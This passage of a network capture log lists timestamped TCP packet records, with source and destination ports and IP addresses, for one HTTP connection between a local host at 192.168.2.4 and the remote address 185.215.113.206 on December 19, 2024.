Dec 19, 2024 07:57:23.371848106 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.371887922 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.372567892 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.372608900 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.372658014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.372695923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.373377085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.373416901 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.373495102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.373533010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.374198914 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.374238968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.374289989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.374329090 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.375066996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.375108957 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.375181913 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.375220060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.375850916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.375960112 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.375962973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.376002073 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.376684904 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.376725912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.376784086 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.376821995 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.377491951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.377532005 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.377604008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.377643108 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.378488064 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.378530025 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.378578901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.378618002 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.379127979 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.379168987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.379234076 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.379272938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.379970074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.380023956 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.380074978 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.380112886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.380768061 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.380815983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.380886078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.380922079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.381611109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.381669044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.381711960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.381745100 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.382462978 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.382498980 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.382546902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.382580996 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.383243084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.383280993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.383403063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.383438110 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.384079933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.384131908 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.384187937 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.384222984 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.384891033 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.384936094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.384994030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.385030031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.385737896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.385782957 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.385840893 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.385879993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.386544943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.386590004 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.386626959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.386663914 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.387370110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.387419939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.387459040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.387494087 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.388212919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.388257027 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.388305902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.388345003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.388998985 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.389039993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.389098883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.389137983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.389823914 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.389868021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.389956951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.389995098 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.390659094 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.390702009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.390762091 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.390803099 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.391475916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.391516924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.391570091 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.391613960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.392290115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.392385006 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.392405987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.392420053 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.393099070 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.393142939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.393215895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.393255949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.393934011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.393978119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.394042969 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.394082069 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.394752026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.394795895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.394860983 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.394901037 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.395560026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.395607948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.395685911 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.395730019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.396420956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.396446943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.396470070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.396495104 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.498795033 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.498891115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.499025106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.499054909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.499110937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.499110937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.499186039 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.499269009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.499885082 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.499948978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.499995947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.500053883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.500714064 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.500782967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.548911095 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.548947096 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.548983097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.549019098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.549089909 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.549155951 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.549839973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.549875021 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.549913883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.549942017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.550522089 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.550556898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.550590038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.550617933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.551239014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.551304102 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.551434040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.551542044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.552042007 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.552109003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.552197933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.552256107 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.552884102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.552951097 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.552958965 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.553020000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.553689003 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.553755045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.553788900 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.553850889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.554512024 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.554586887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.554616928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.554680109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.555329084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.555392027 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.555495977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.555557013 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.556145906 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.556217909 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.556341887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.556401968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.556973934 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.557039976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.557065964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.557126999 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.557780027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.557843924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.557909966 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.557967901 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.558588982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.558651924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.558722019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.558779955 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.559454918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.559544086 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.559552908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.559603930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.560256004 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.560333967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.560379982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.560444117 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.561088085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.561153889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.561247110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.561306000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.561923981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.561985016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.562076092 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.562139988 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.562710047 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.562774897 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.562851906 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.562913895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.563540936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.563610077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.563647032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.563705921 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.564357996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.564423084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.564490080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.564548016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.565210104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.565268040 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.565299034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.565354109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.566003084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.566072941 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.566104889 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.566164017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.566826105 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.566903114 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.566915035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.566967964 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.567692041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.567744970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.567759037 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.567791939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.568487883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.568538904 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.568552017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.568593025 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.569291115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.569351912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.569428921 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.569488049 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.570105076 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.570156097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.570190907 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.570225000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.570925951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.570991993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.571062088 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.571119070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.571747065 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.571815968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.571887970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.571950912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.572571993 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.572638035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.572649002 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.572714090 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.573400974 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.573465109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.573509932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.573569059 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.574194908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.574258089 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.574327946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.574381113 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.575035095 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.575098038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.575160027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.575212955 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.575874090 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.575939894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.575968981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.576039076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.576647997 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.576709032 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.576771975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.576824903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.577488899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.577548027 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.577610970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.577663898 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.578300953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.578361034 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.578416109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.578465939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.579123974 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.579181910 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.579242945 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.579291105 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.579936028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.579993010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.580051899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.580105066 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.580785990 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.580873966 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.580915928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.580975056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.581588030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.581650019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.581701040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.581758022 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.582425117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.582521915 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.582539082 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.582607031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.583244085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.583311081 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.583431005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.583488941 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.584057093 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.584105968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.584135056 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.584181070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.584851980 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.584903955 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.584981918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.585028887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.585676908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.585726976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.585774899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.585815907 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.586503029 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.586549997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.586580038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.586617947 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.587352991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.587400913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.587452888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.587491989 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.588155985 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.588201046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.588241100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.588282108 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.588922977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.588973045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.690773010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.690808058 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.690881968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.690907001 CET	49759	80	192.168.2.4	185.215.113.206
